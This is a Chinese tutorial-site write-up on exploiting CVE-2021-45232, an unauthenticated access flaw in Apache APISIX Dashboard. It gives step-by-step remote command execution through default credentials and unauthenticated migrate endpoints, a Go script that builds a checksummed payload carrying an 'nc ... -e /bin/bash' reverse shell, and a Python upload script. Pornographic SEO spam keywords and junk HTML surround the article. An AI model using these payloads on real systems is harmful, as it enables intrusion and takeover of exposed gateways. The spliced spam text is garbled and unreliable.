玩家必看科普!麻豆人人妻人人妻人人片AV,欧美老妇交乱视频在线观看,久久综合九色综合久99_知乎
<ruby id="fgcka"></ruby>
  • <progress id="fgcka"></progress>
    <tbody id="fgcka"></tbody>
    <dd id="fgcka"></dd>

    1. <dd id="fgcka"></dd>

      <em id="fgcka"></em>
        1. 系統城裝機大師 - 固鎮縣祥瑞電腦科技銷售部宣傳站!

          當前位置:首頁 > server > anz > 詳細頁面

          Apache APISIX Dashboard 未授權訪問漏洞分析(CVE-2021-45232)

          時間:2023-03-17來源:系統城裝機大師作者:佚名

          漏洞描述

          Apache APISIX 是一個動態、實時、高性能的 API 網關, 提供負載均衡、動態上游、灰度發布、服務熔斷、身份認證、可觀測性等豐富的流量管理功能。Apache APISIX Dashboard 使用戶可通過前端界面操作 Apache APISIX。該漏洞的存在是由于 Manager API 中的錯誤。Manager API 在 gin 框架的基礎上引入了 droplet 框架,所有的 API 和鑒權中間件都是基于 droplet 框架開發的。但是有些 API 直接使用了框架 gin 的接口,從而繞過身份驗證。

          影響范圍

          Apache APISIX Dashboard < 2.10.1

          環境部署

          通過git clone apisix-docker

          1
          2
          git clone https://github.com/apache/apisix-docker
          cd apisix-docker/example/

          修改docker-compose.yml

          1
          2
          apache/apisix-dashboard:2.7
          apache/apisix:2.6-alpine


          然后,docker-compose up -d 啟動環境

          環境起來后,瀏覽器通過默認端口9000訪問apisix dashboard

          后臺RCE

          由于apisix dashboard 默認賬號和密碼是admin:admin,所以我們先登錄到后臺,來驗證一把遠程命令執行

          首先創建一個上游服務,點擊創建,名稱隨意命名,目標節點填寫我們轉發請求的服務,這里我們填寫docker附帶的Grafana應用,端口號為3000,點擊下一步,提交即可。

          其次,創建一個路由,名稱任意起,路徑也是自定義,點擊下一步,選擇我們剛才創建的上游服務,最后,提交即可。

          查看創建的路由

          回到路由配置頁面,點擊配置,然后一直下一步,直到提交時,使用BurpSuite抓包

          然后在請求包的body中,添加一個script字段后,發送請求。

          1 "script": "os.execute('touch /tmp/Keepb1ue')"

          再次查看,路由配置信息

          接著,我們訪問一下: http://192.168.10.171:9080/rce111

          docker中看一下,是否創建了Keepblue這個文件

          未授權接口RCE

          如果沒有默認密碼或者弱密碼的話,這時我們就利用未授權接口進行RCE了

          1
          2
          /apisix/admin/migrate/export
          /apisix/admin/migrate/import

          首先,使用/apisix/admin/migrate/export導出配置文件

          因為是未授權,所以在未登陸情況下,BP抓包后,請求接口改為/apisix/admin/migrate/export,點擊send后,看到配置文件信息

          在導入配置文件時,會對配置文件的checksum值進行校驗,那這里其實是可以通過寫腳本算出checksum校驗值,或者是根據apisix的源碼去計算出新的checksum值

          源碼位置在:apisix-dashboard-master\api\internal\handler\migrate\migrate.go的ExportConfig函數將其計算源碼單獨抽取出來,并將需要導入的配置(data)進修替換和插入RCE語句

          1
          2
          3
          4
          5
          6
          7
          8
          9
          10
          11
          12
          13
          14
          15
          16
          17
          18
          19
          20
          21
          22
          23
          24
          25
          26
          27
          28
          29
          30
          31
          32
          33
          34
          35
          36
          37
          package main
           
          import (
              "encoding/binary"
              "fmt"
              "hash/crc32"
              "io/ioutil"
              "os"
          )
          func main() {
              gen()
          }
          func gen() {
              data := []byte(`{"Counsumers":[],"Routes":[{"id":"403141558204891851","create_time":1649820693,"update_time":1649821490,"uris":["/rce111"],"name":"lyroute","methods":["GET","POST","PUT","DELETE","PATCH","HEAD","OPTIONS","CONNECT","TRACE"],"script":"os.execute('nc 192.168.8.14 2333 -e /bin/bash')","script_id":"403141558204891851","upstream_id":"403140847589130955","status":1}],"Services":[],"SSLs":[],"Upstreams":[{"id":"403140847589130955","create_time":1649820270,"update_time":1649820270,"nodes":[{"host":"192.168.10.171","port":3000,"weight":1}],"timeout":{"connect":6,"read":6,"send":6},"type":"roundrobin","scheme":"http","pass_host":"pass","name":"lytest"}],"Scripts":[{"id":"403141558204891851","script":"os.execute('nc 192.168.8.14 2333 -e /bin/bash')"}],"GlobalPlugins":[],"PluginConfigs":[]}`)
              checksumUint32 := crc32.ChecksumIEEE(data)
              checksumLength := 4
              checksum := make([]byte, checksumLength)
              binary.BigEndian.PutUint32(checksum, checksumUint32)
              fileBytes := append(data, checksum...)
           
              content := fileBytes
              fmt.Println(content)
           
              importData := content[:len(content)-4]
              checksum2 := binary.BigEndian.Uint32(content[len(content)-4:])
              if checksum2 != crc32.ChecksumIEEE(importData) {
                  fmt.Println(checksum2)
                  fmt.Println(crc32.ChecksumIEEE(importData))
                  fmt.Println("Check sum check fail, maybe file broken")
                  return
              }
              err := ioutil.WriteFile("apisixPayload", content, os.ModePerm)
              if err != nil {
                  fmt.Println("error!!")
                  return
              }
          }

          運行這段腳本,會生成apisixPayload這個文件

          這個就是我們要import上去的計算好校驗值的新的配置文件,接下來使用python代碼可以簡單的傳到服務端

          1
          2
          3
          4
          5
          6
          import requests
          url = "http://192.168.10.171:9000/apisix/admin/migrate/import"
          files = {"file": open("apisixPayload", "rb")}
          r = requests.post(url, data={"mode": "overwrite"}, files=files)
          print(r.status_code)
          print(r.content)

          在攻擊機上,開啟nc監聽

          接下來,訪問路由地址(http://192.168.10.171:9080/rce111),觸發遠程命令執行

          查看nc反彈shell

          反彈成功,說明命令已經執行

          到此這篇關于Apache APISIX Dashboard 未授權訪問漏洞(CVE-2021-45232)的文章就介紹到這了

          分享到:

          相關信息

          • IDEA中的Tomcat中文亂碼問題

            1、IDEA 2、VM options 3、IDEA啟動程序的存放目錄 4、Tomcat...

            2023-03-11

          • nginx配置客戶端保存cookie的實現

            昨晚在部署一個前人留下的dotnet core后臺服務,在服務器上小心翼翼的修改前端代碼,把ajax請求地址換成了localhost,登錄、請求數據正常。但是把localhost換成ip地址,發現登錄正常,cookie也返回了,但驗證登錄狀態(向后臺發送...

            2023-03-09

          系統教程欄目

          欄目熱門教程

          人氣教程排行

          站長推薦

          熱門系統下載

          玩家必看科普!麻豆人人妻人人妻人人片AV,欧美老妇交乱视频在线观看,久久综合九色综合久99_知乎 人人玩人人添人人澡超碰偷拍 青春娱乐视频精品分类官网2 最好最新高清中文字幕 91国自产拍最新2018 欧美精品一区二区三区不卡网 深夜你懂得我的意思2021 宿舍NP乖把腿张开H 网恋奔现一天被要几次 为什么我越叫他越快 学渣各种各样的PLAY 英语课代表下面好软小说 亚洲国产综合在线区尤物 FREE性丰满HD性欧美 我年轻漂亮的继坶BD 最近中文字幕完整免费视频 啦啦啦免费视频卡一卡二 青柠视频在线观看大全 在线天堂WWW在线资源 亚洲国产日本韩国欧美MV 天天学习|久久久久久久精品国产亚洲87 国产K频道分享系统进入口 三个嘴都吃满了还塞满了 JAPONENSIS老师学生JAVAHBB 亚洲精品1卡2卡3卡4卡 樱花草在线社区WWW韩国 好涨水快流出来了快吃动视频 久久AV无码精品人妻出轨